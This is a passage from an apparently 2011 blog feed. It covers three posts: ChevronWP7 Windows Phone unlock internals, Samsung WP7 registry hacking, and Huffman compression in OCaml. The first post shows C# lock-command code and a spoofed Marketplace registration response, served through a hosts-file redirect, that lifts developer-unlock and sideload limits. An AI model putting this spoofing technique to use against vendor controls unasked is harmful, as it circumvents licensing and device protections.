border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum13"&gt;  13:&lt;/span&gt; &lt;span style="color: #0000ff"&gt;this&lt;/span&gt;.commandData = list.ToArray();  &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;p&gt;An http server is made to listen for any requests that come from the phone (which were redirected in the system\hosts file to 127.0.0.1) and returns as a response :&lt;/p&gt;&lt;br /&gt;&lt;div style="border-bottom: silver 1px solid; text-align: left; border-left: silver 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: 'Courier New', courier, monospace; direction: ltr; max-height: 200px; font-size: 8pt; overflow: auto; border-top: silver 1px solid; cursor: text; border-right: silver 1px solid; padding-top: 4px" id="codeSnippetWrapper"&gt;&lt;br /&gt;&lt;div style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px" id="codeSnippet"&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum1"&gt;   1:&lt;/span&gt; &lt;span style="color: #0000ff"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;ResponseOfRegisteredDeviceStatus&lt;/span&gt; &lt;span style="color: #ff0000"&gt;xmlns&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="Microsoft.WindowsMobile.Service.Marketplace"&lt;/span&gt; &lt;span style="color: #ff0000"&gt;xmlns:i&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="http://www.w3.org/2001/XMLSchema-instance"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;ResponseCode&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&lt;/span&gt;0x00000000&lt;span style="color: #0000ff"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000"&gt;ResponseCode&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&lt;/span&gt; &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum2"&gt;   2:&lt;/span&gt; &lt;span style="color: #0000ff"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;ResponseMessage&lt;/span&gt; &lt;span style="color: #ff0000"&gt;i:nil&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="true"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&lt;/span&gt; &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum3"&gt;   3:&lt;/span&gt; &lt;span style="color: #0000ff"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;Entity&lt;/span&gt; &lt;span style="color: #ff0000"&gt;xmlns:a&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="http://schemas.datacontract.org/2004/07/Microsoft.WindowsMobile.Service.Marketplace.BLLDevPortal.Entities"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&lt;/span&gt; &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum4"&gt;   4:&lt;/span&gt; &lt;span style="color: #0000ff"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;a:DaysLeft&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&lt;/span&gt;365&lt;span style="color: #0000ff"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000"&gt;a:DaysLeft&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&lt;/span&gt; &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum5"&gt;   5:&lt;/span&gt; &lt;span style="color: #0000ff"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;a:AppsAllowed&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&lt;/span&gt;10&lt;span style="color: #0000ff"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000"&gt;a:AppsAllowed&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&lt;/span&gt; &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum6"&gt;   6:&lt;/span&gt; &lt;span style="color: #0000ff"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000"&gt;Entity&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&lt;/span&gt; &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;p&gt;The number &lt;em&gt;&amp;lt;a:AppsAllowed&amp;gt;&lt;/em&gt; is the number of allowed apps, discussed &lt;a href="http://thounsell.co.uk/2010/12/chevronwp7-now-without-the-sideload-limit/"&gt;here &lt;/a&gt;in the changed version without the side limit.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;b&gt;To lock the phone :&lt;/b&gt;&lt;/p&gt;&lt;br /&gt;&lt;div style="border-bottom: silver 1px solid; text-align: left; border-left: silver 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: 'Courier New', courier, monospace; direction: ltr; max-height: 200px; font-size: 8pt; overflow: auto; border-top: silver 1px solid; cursor: text; border-right: silver 1px solid; padding-top: 4px" id="codeSnippetWrapper"&gt;&lt;br /&gt;&lt;div style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px" id="codeSnippet"&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum1"&gt;   1:&lt;/span&gt; &lt;span style="color: #0000ff"&gt;internal&lt;/span&gt; LockCommand(&lt;span style="color: #0000ff"&gt;string&lt;/span&gt; authToken) &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum2"&gt;   2:&lt;/span&gt; { &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum3"&gt;   3:&lt;/span&gt;     List&amp;lt;&lt;span style="color: #0000ff"&gt;byte&lt;/span&gt;&amp;gt; list = &lt;span style="color: #0000ff"&gt;new&lt;/span&gt; List&amp;lt;&lt;span style="color: #0000ff"&gt;byte&lt;/span&gt;&amp;gt;(); &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum4"&gt;   4:&lt;/span&gt;     ASCIIEncoding encoding = &lt;span style="color: #0000ff"&gt;new&lt;/span&gt; ASCIIEncoding(); &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum5"&gt;   5:&lt;/span&gt;     &lt;span style="color: #0000ff"&gt;ushort&lt;/span&gt; num = (&lt;span style="color: #0000ff"&gt;ushort&lt;/span&gt;) (authToken.Length + 3); &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum6"&gt;   6:&lt;/span&gt;     list.AddRange(&lt;span style="color: #0000ff"&gt;new&lt;/span&gt; &lt;span style="color: #0000ff"&gt;byte&lt;/span&gt;[] { 16, 2 }); &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum7"&gt;   7:&lt;/span&gt;     list.AddRange(BitConverter.GetBytes(num)); &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum8"&gt;   8:&lt;/span&gt;     list.Add(1); &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum9"&gt;   9:&lt;/span&gt;     list.AddRange(BitConverter.GetBytes((&lt;span style="color: #0000ff"&gt;ushort&lt;/span&gt;) authToken.Length)); &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum10"&gt;  10:&lt;/span&gt;     list.AddRange(encoding.GetBytes(authToken)); &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum11"&gt;  11:&lt;/span&gt;     &lt;span style="color: #0000ff"&gt;this&lt;/span&gt;.commandData = list.ToArray(); &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum12"&gt;  12:&lt;/span&gt; }  &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;p&gt;Although the guys over ChevronWP7 have done an amazing job with this tool, it sounds a little weird that Microsoft have done a lot of fuss around it when they leave their original “unlocker” in the wild for anyone to check out, also, Chevron guys should have been a little honest about how they took all the internal code of communication with the phone from the original register program.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8964007124326996693-1447835096152256468?l=www.martani.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.martani.net/feeds/1447835096152256468/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.martani.net/2011/01/chevronwp7-internals-microsoft.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/1447835096152256468'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/1447835096152256468'/><link rel='alternate' type='text/html' href='http://www.martani.net/2011/01/chevronwp7-internals-microsoft.html' title='ChevronWP7 internals, Microsoft advertisement?'/><author><name>fakhrou martani</name><uri>https://profiles.google.com/103182982567993728984</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-uWdGi2569GI/AAAAAAAAAAI/AAAAAAAAAAA/6_obyno4c4c/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh5.ggpht.com/_MIqc395dv38/TTLyRSiVqlI/AAAAAAAACkE/barYAwpRR74/s72-c/Sans%20titre_thumb%5B1%5D.png?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8964007124326996693.post-1854067933919506217</id><published>2011-01-13T14:01:00.001+01:00</published><updated>2011-01-13T14:01:54.717+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='windows phone 7'/><title type='text'>#WP7 Hacks, Reading / Writing the registry on Samsung Devices</title><content type='html'>&lt;p&gt;The folks over xda are doing a great job with all the new Windows Phone 7 hacks, but it seems that the HTC devices are the ones getting all the fun there.&lt;/p&gt; &lt;p&gt;For instance, the member xboxmod have found a &lt;a href="http://forum.xda-developers.com/showthread.php?t=907169" target="_blank"&gt;way to install provxml on WP7&lt;/a&gt;, and hence total access to the registry, which allowed them to change the &lt;a href="http://s317073502.onlinehome.fr/b.a.s.e/?p=175" target="_blank"&gt;WP7 themes&lt;/a&gt; with custom colors, &lt;a href="http://forum.xda-developers.com/showpost.php?p=10514830&amp;amp;postcount=17" target="_blank"&gt;disable relocking&lt;/a&gt; the phone once unlocked with ChevronWP7 and a lot of other stuff.&lt;/p&gt; &lt;p&gt;On the other hand, a lot of the member have been asking if there is a way to do so on Samsung devices (Omnia 7 and the Focus). While we have access for read/write on the registry for Samsung devices, it is so limited compares to the provxml method on HTC devices.&lt;/p&gt; &lt;p&gt;I developed a simple app showing how to write the registry using the Samsung native DLLs, so hopefully some guys will pick this up till we come up with a full functioning method to manage the registry on Samsung Devices.&lt;/p&gt; &lt;p&gt;This is the link to the application (&lt;a href="http://forum.xda-developers.com/showthread.php?t=910911" target="_blank"&gt;the XAP file with the source code&lt;/a&gt;), you find in the same thread a homebrew registry viewer too which allows the traversal of registry keys.&lt;/p&gt; &lt;p&gt;&lt;a href="http://lh5.ggpht.com/_MIqc395dv38/TS73vqCcJ8I/AAAAAAAACj4/dldb7KnjF84/s1600-h/Sans%20titre%5B3%5D.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: block; float: none; margin-left: auto; border-top: 0px; margin-right: auto; border-right: 0px; padding-top: 0px" title="Sans titre" border="0" alt="Sans titre" src="http://lh4.ggpht.com/_MIqc395dv38/TS73wYUYqOI/AAAAAAAACj8/Wvrh9sW35no/Sans%20titre_thumb%5B1%5D.png?imgmax=800" width="163" height="306"&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;Happy hacking!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8964007124326996693-1854067933919506217?l=www.martani.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.martani.net/feeds/1854067933919506217/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.martani.net/2011/01/wp7-hacks-reading-writing-registry-on.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/1854067933919506217'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/1854067933919506217'/><link rel='alternate' type='text/html' href='http://www.martani.net/2011/01/wp7-hacks-reading-writing-registry-on.html' title='#WP7 Hacks, Reading / Writing the registry on Samsung Devices'/><author><name>fakhrou martani</name><uri>https://profiles.google.com/103182982567993728984</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-uWdGi2569GI/AAAAAAAAAAI/AAAAAAAAAAA/6_obyno4c4c/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh4.ggpht.com/_MIqc395dv38/TS73wYUYqOI/AAAAAAAACj8/Wvrh9sW35no/s72-c/Sans%20titre_thumb%5B1%5D.png?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8964007124326996693.post-7758202231753037540</id><published>2011-01-11T01:31:00.001+01:00</published><updated>2011-01-11T01:34:17.437+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='huffman'/><category scheme='http://www.blogger.com/atom/ns#' term='ocaml'/><category scheme='http://www.blogger.com/atom/ns#' term='algorithm'/><title type='text'>Huffman Compression / Decompression in OCaml</title><content type='html'>&lt;p&gt;I worked lately on a simple application in OCaml that compresses files using the Huffman compression algorithms. The application is a showcase of how to use the &lt;a href="http://en.wikipedia.org/wiki/Huffman_coding" target="_blank"&gt;Huffman’s Static&lt;/a&gt; compression, decompression algorithms compared to the &lt;a href="http://en.wikipedia.org/wiki/Adaptive_Huffman_coding" target="_blank"&gt;dynamic (adaptive)&lt;/a&gt; algorithms (Vitter algorithm is used in the application).&lt;/p&gt; &lt;p&gt;The source code is available on github here &lt;a href="https://github.com/martani/Huffman-compression--OCaml-" target="_blank"&gt;https://github.com/martani/Huffman-compression--OCaml-&lt;/a&gt;. Although the code is not as elegant as it should be, we have used excessively the imperative features of OCaml for optimization reasons, especially for the adaptive algorithm where the tree changes with every introduction of a new symbol to code. So it is not really the best place for OCaml beginners who should be baptized with the functional beauty of the language before they see its evil imperative side :).&lt;/p&gt; &lt;p&gt;Although, It might be a great place too to see how the imperative and functional programming could be done on the same land, I don’t promise anything though, since we did the project in the hurry with just few days in our hands to prepare for exams and … you know the rest of the story.&lt;/p&gt; &lt;p&gt;So the project uses only the primitive OCaml modules, there is no libraries to install or anything, there is also an associated Makefile to compile and test the executable.&lt;/p&gt; &lt;p&gt;The Makefile has a make test directive to test the executable on a file named ”input” in the working directory (that you should include yourself obviously), basically it stars a static compression followed by a decompression then compares the original and the decompressed files to ensure the program works correctly. It does the same with the dynamic method too.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;On a side note, we were surprised that while compiling the code with ocamlopt, we get sometimes programs that run 15x times faster than the same program compiled with ocamlc.&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;For a file about 5.8 MB we got some executing time around &lt;/p&gt; &lt;div style="border-bottom: silver 1px solid; text-align: left; border-left: silver 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: 'Courier New', courier, monospace; direction: ltr; max-height: 200px; font-size: 8pt; overflow: auto; border-top: silver 1px solid; cursor: text; border-right: silver 1px solid; padding-top: 4px" id="codeSnippetWrapper"&gt; &lt;div style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px" id="codeSnippet"&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum1"&gt;   1:&lt;/span&gt; ***@****-Studio-1558:~/workspace/huffman$ make test&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum2"&gt;   2:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum3"&gt;   3:&lt;/span&gt; Testing... &lt;span style="color: #0000ff"&gt;static&lt;/span&gt; huffman&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum4"&gt;   4:&lt;/span&gt; Compress:&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum5"&gt;   5:&lt;/span&gt; 1.18 &lt;span style="color: #0000ff"&gt;user&lt;/span&gt; &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum6"&gt;   6:&lt;/span&gt; 0.00 system&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum7"&gt;   7:&lt;/span&gt; 0:01.19 elapsed &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum8"&gt;   8:&lt;/span&gt; 99% CPU (0avgtext+0avgdata 5504maxresident)&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum9"&gt;   9:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum10"&gt;  10:&lt;/span&gt; Uncompress&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum11"&gt;  11:&lt;/span&gt; 2.26 &lt;span style="color: #0000ff"&gt;user&lt;/span&gt; &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum12"&gt;  12:&lt;/span&gt; 0.00 system &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum13"&gt;  13:&lt;/span&gt; 0:02.27 elapsed &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum14"&gt;  